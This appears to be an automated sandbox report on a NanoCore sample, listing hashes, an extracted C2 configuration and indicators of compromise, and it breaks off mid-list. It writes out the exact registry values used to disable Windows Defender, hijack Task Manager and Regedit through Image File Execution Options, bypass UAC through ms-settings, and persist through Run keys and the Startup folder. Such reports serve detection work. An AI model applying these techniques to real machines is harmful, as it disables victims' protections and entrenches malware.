Analysis
- max time kernel
149s - max time network
145s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
30/09/2026, 03:07
Behavioral task
behavioral1
Sample
neymar2022.football_chrome.exe
Resource
win10v2004-20260911-en
windows10-2004-x64
42 signatures
150 seconds
Behavioral task
behavioral2
Sample
neymar2022.football_chrome.exe
Resource
win11ltsc2024-20260911-en
windows11-ltsc_2024-x64
40 signatures
150 seconds
General
- Target neymar2022.football_chrome.exe
- Size 57KB
- Sample260930-dmbknaseke
- SHA256 63514c910266e91d8ebb0436952be62ab0b666663cf2de64d6f3bda001cc064b
- MD5 896591756391f33ca1470b863518307b
- SHA1 cbed8dca46bb4b3ef1dab8b38b9ab59a840cfe3a
- SHA512 5b2d01509494c82b76e7ba0769cfed370b8eb972a791c860d48cae69d248e23d81d79c8722e04cbb3bff648a4cd4db572aec3f8f582bed8f788c39eb1546ba89
- SSDEEP 768:1FVG6s2NKKna4CaOhnVirKWRkadtYMn4xN1XXGb5fAdOT5KFum1M:1FVLw4tUUvy6GY4xLXGb5feOT5uuv
- TLSH T18343E74477FD4211E1BF8EBA9CB191514B32B8676D32D38E06D4068E19B2B44CDA8F77
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Family
-
nanocore
Version
-
1.2.2.0
C2
-
http://neymar2022.football
Mutex
-
ac7e2f05-8df7-4c55-8841-78385f6bb064
Attributes
-
c2_url
http://neymar2022.football
-
default_group
xoilac
-
primary_dns
ali.ns.cloudflare.com
-
secondary_dns
woz.ns.cloudflare.com
-
version
1.2.2.0
Signatures
- Contains code to disable Windows Defender 2 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral1/memory/4460-0-0x0000000000750000-0x0000000000764000-memory.dmp disable_win_def behavioral1/files/0x00070000000248cf-2265.dat disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" neymar2022.football_chrome.exe - Modifies security service 2 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wscsvc\Start = "4" neymar2022.football_chrome.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 832 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" neymar2022.football_chrome.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts neymar2022.football_chrome.exe - Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe neymar2022.football_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\neymar2022.football_chrome.exe" neymar2022.football_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe neymar2022.football_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\neymar2022.football_chrome.exe" neymar2022.football_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe neymar2022.football_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe\Debugger = "C:\\Users\\Admin\\AppData\\Local\\Temp\\neymar2022.football_chrome.exe" neymar2022.football_chrome.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 4564 netsh.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\International\Geo\Nation neymar2022.football_chrome.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_81.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_171.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_24.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_90.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_103.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_93.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_99.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_124.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_10.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_3.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_29.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_166.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_169.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_15.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_65.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_183.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_193.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_130.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_156.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_175.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_6.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_47.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_92.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_194.pdf neymar2022.football_chrome.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_196.pdf neymar2022.football_chrome.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf neymar2022.football_chrome.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 4 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\neymar2022.football_chrome.exe" neymar2022.football_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\neymar2022.football_chrome.exe" neymar2022.football_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\neymar2022.football_chrome.exe" neymar2022.football_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Malware = "C:\\Users\\Admin\\AppData\\Local\\Temp\\neymar2022.football_chrome.exe" neymar2022.football_chrome.exe - Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
ioc Process \??\F:\ powershell.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 3620 tasklist.exe - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\svchost.exe neymar2022.football_chrome.exe File created C:\Windows\system32\sysupdate.exe neymar2022.football_chrome.exe File opened for modification C:\Windows\system32\sysupdate.exe neymar2022.football_chrome.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 5032 wscript.exe 2204 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" neymar2022.football_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\wallpaper.bmp" neymar2022.football_chrome.exe - Launches sc.exe 12 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1572 sc.exe 3004 sc.exe 4736 sc.exe 3680 sc.exe 3280 sc.exe 4868 sc.exe 4136 sc.exe 4252 sc.exe 3384 sc.exe 3952 sc.exe 3792 sc.exe 1752 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1712 cmd.exe 1940 cmd.exe 5108 cmd.exe 624 cmd.exe 296 cmd.exe 268 cmd.exe 640 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain neymar2022.football_chrome.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname neymar2022.football_chrome.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 1836 ipconfig.exe 1292 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3400 systeminfo.exe - Interacts with shadow copies 3 TTPs 3 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 1748 vssadmin.exe 840 vssadmin.exe 3804 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\WallpaperStyle = "2" neymar2022.football_chrome.exe - Modifies registry class 16 IoCs
description ioc Process Key deleted \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open\command neymar2022.football_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings neymar2022.football_chrome.exe Key created \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open neymar2022.football_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open neymar2022.football_chrome.exe Key created \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings neymar2022.football_chrome.exe Key created \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell neymar2022.football_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command neymar2022.football_chrome.exe Key created \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open\command neymar2022.football_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\.pdf\ = "PDFBotnet" neymar2022.football_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell neymar2022.football_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open neymar2022.football_chrome.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\neymar2022.football_chrome.exe\" \"%1\"" neymar2022.football_chrome.exe Key deleted \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell neymar2022.football_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\neymar2022.football_chrome.exe" neymar2022.football_chrome.exe Set value (str) \REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000_Classes\ms-settings\shell\open\command\DelegateExecute neymar2022.football_chrome.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet neymar2022.football_chrome.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3384 schtasks.exe 1036 schtasks.exe 2968 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 832 powershell.exe 832 powershell.exe 832 powershell.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe 4460 neymar2022.football_chrome.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4460 neymar2022.football_chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 832 powershell.exe Token: SeIncreaseQuotaPrivilege 4956 WMIC.exe Token: SeSecurityPrivilege 4956 WMIC.exe Token: SeTakeOwnershipPrivilege 4956 WMIC.exe Token: SeLoadDriverPrivilege 4956 WMIC.exe Token: SeSystemProfilePrivilege 4956 WMIC.exe Token: SeSystemtimePrivilege 4956 WMIC.exe Token: SeProfSingleProcessPrivilege 4956 WMIC.exe Token: SeIncBasePriorityPrivilege 4956 WMIC.exe Token: SeCreatePagefilePrivilege 4956 WMIC.exe Token: SeBackupPrivilege 4956 WMIC.exe Token: SeRestorePrivilege 4956 WMIC.exe Token: SeShutdownPrivilege 4956 WMIC.exe Token: SeDebugPrivilege 4956 WMIC.exe Token: SeSystemEnvironmentPrivilege 4956 WMIC.exe Token: SeRemoteShutdownPrivilege 4956 WMIC.exe Token: SeUndockPrivilege 4956 WMIC.exe Token: SeManageVolumePrivilege 4956 WMIC.exe Token: 33 4956 WMIC.exe Token: 34 4956 WMIC.exe Token: 35 4956 WMIC.exe Token: 36 4956 WMIC.exe Token: SeBackupPrivilege 4032 vssvc.exe Token: SeRestorePrivilege 4032 vssvc.exe Token: SeAuditPrivilege 4032 vssvc.exe Token: SeIncreaseQuotaPrivilege 4956 WMIC.exe Token: SeSecurityPrivilege 4956 WMIC.exe Token: SeTakeOwnershipPrivilege 4956 WMIC.exe Token: SeLoadDriverPrivilege 4956 WMIC.exe Token: SeSystemProfilePrivilege 4956 WMIC.exe Token: SeSystemtimePrivilege 4956 WMIC.exe Token: SeProfSingleProcessPrivilege 4956 WMIC.exe Token: SeIncBasePriorityPrivilege 4956 WMIC.exe Token: SeCreatePagefilePrivilege 4956 WMIC.exe Token: SeBackupPrivilege 4956 WMIC.exe Token: SeRestorePrivilege 4956 WMIC.exe Token: SeShutdownPrivilege 4956 WMIC.exe Token: SeDebugPrivilege 4956 WMIC.exe Token: SeSystemEnvironmentPrivilege 4956 WMIC.exe Token: SeRemoteShutdownPrivilege 4956 WMIC.exe Token: SeUndockPrivilege 4956 WMIC.exe Token: SeManageVolumePrivilege 4956 WMIC.exe Token: 33 4956 WMIC.exe Token: 34 4956 WMIC.exe Token: 35 4956 WMIC.exe Token: 36 4956 WMIC.exe Token: SeDebugPrivilege 4460 neymar2022.football_chrome.exe Token: SeIncBasePriorityPrivilege 4460 neymar2022.football_chrome.exe Token: SeDebugPrivilege 1292 NETSTAT.EXE Token: SeDebugPrivilege 3620 tasklist.exe Token: SeDebugPrivilege 4808 whoami.exe Token: SeIncreaseQuotaPrivilege 872 WMIC.exe Token: SeSecurityPrivilege 872 WMIC.exe Token: SeTakeOwnershipPrivilege 872 WMIC.exe Token: SeLoadDriverPrivilege 872 WMIC.exe Token: SeSystemProfilePrivilege 872 WMIC.exe Token: SeSystemtimePrivilege 872 WMIC.exe Token: SeProfSingleProcessPrivilege 872 WMIC.exe Token: SeIncBasePriorityPrivilege 872 WMIC.exe Token: SeCreatePagefilePrivilege 872 WMIC.exe Token: SeBackupPrivilege 872 WMIC.exe Token: SeRestorePrivilege 872 WMIC.exe Token: SeShutdownPrivilege 872 WMIC.exe Token: SeDebugPrivilege 872 WMIC.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4460 neymar2022.football_chrome.exe - Suspicious use of WriteProcessMemory 44 IoCs
description pid Process procid_target PID 4460 wrote to memory of 832 4460 neymar2022.football_chrome.exe 88 PID 4460 wrote to memory of 1572 4460 neymar2022.football_chrome.exe 90 PID 4460 wrote to memory of 3004 4460 neymar2022.football_chrome.exe 92 PID 4460 wrote to memory of 4736 4460 neymar2022.football_chrome.exe 94 PID 4460 wrote to memory of 3384 4460 neymar2022.football_chrome.exe 123 PID 4460 wrote to memory of 3680 4460 neymar2022.football_chrome.exe 98 PID 4460 wrote to memory of 3952 4460 neymar2022.football_chrome.exe 100 PID 4460 wrote to memory of 3280 4460 neymar2022.football_chrome.exe 102 PID 4460 wrote to memory of 4868 4460 neymar2022.football_chrome.exe 104 PID 4460 wrote to memory of 1488 4460 neymar2022.football_chrome.exe 106 PID 4460 wrote to memory of 4136 4460 neymar2022.football_chrome.exe 107 PID 4460 wrote to memory of 3792 4460 neymar2022.football_chrome.exe 109 PID 4460 wrote to memory of 1748 4460 neymar2022.football_chrome.exe 111 PID 4460 wrote to memory of 4956 4460 neymar2022.football_chrome.exe 113 PID 1488 wrote to memory of 2756 1488 fodhelper.exe 172 PID 4460 wrote to memory of 5032 4460 neymar2022.football_chrome.exe 120 PID 4460 wrote to memory of 2968 4460 neymar2022.football_chrome.exe 121 PID 4460 wrote to memory of 3384 4460 neymar2022.football_chrome.exe 123 PID 4460 wrote to memory of 640 4460 neymar2022.football_chrome.exe 128 PID 4460 wrote to memory of 268 4460 neymar2022.football_chrome.exe 130 PID 4460 wrote to memory of 296 4460 neymar2022.football_chrome.exe 131 PID 4460 wrote to memory of 624 4460 neymar2022.football_chrome.exe 132 PID 4460 wrote to memory of 5108 4460 neymar2022.football_chrome.exe 133 PID 4460 wrote to memory of 1940 4460 neymar2022.football_chrome.exe 134 PID 4460 wrote to memory of 1712 4460 neymar2022.football_chrome.exe 135 PID 4460 wrote to memory of 1036 4460 neymar2022.football_chrome.exe 142 PID 4460 wrote to memory of 2204 4460 neymar2022.football_chrome.exe 144 PID 1712 wrote to memory of 1292 1712 cmd.exe 145 PID 268 wrote to memory of 3400 268 cmd.exe 146 PID 1940 wrote to memory of 1836 1940 cmd.exe 171 PID 5108 wrote to memory of 3752 5108 cmd.exe 148 PID 296 wrote to memory of 3620 296 cmd.exe 149 PID 640 wrote to memory of 840 640 cmd.exe 150 PID 3752 wrote to memory of 3616 3752 net.exe 151 PID 624 wrote to memory of 4808 624 cmd.exe 152 PID 640 wrote to memory of 872 640 cmd.exe 153 PID 4460 wrote to memory of 4728 4460 neymar2022.football_chrome.exe 155 PID 4460 wrote to memory of 3804 4460 neymar2022.football_chrome.exe 158 PID 4460 wrote to memory of 4464 4460 neymar2022.football_chrome.exe 160 PID 4460 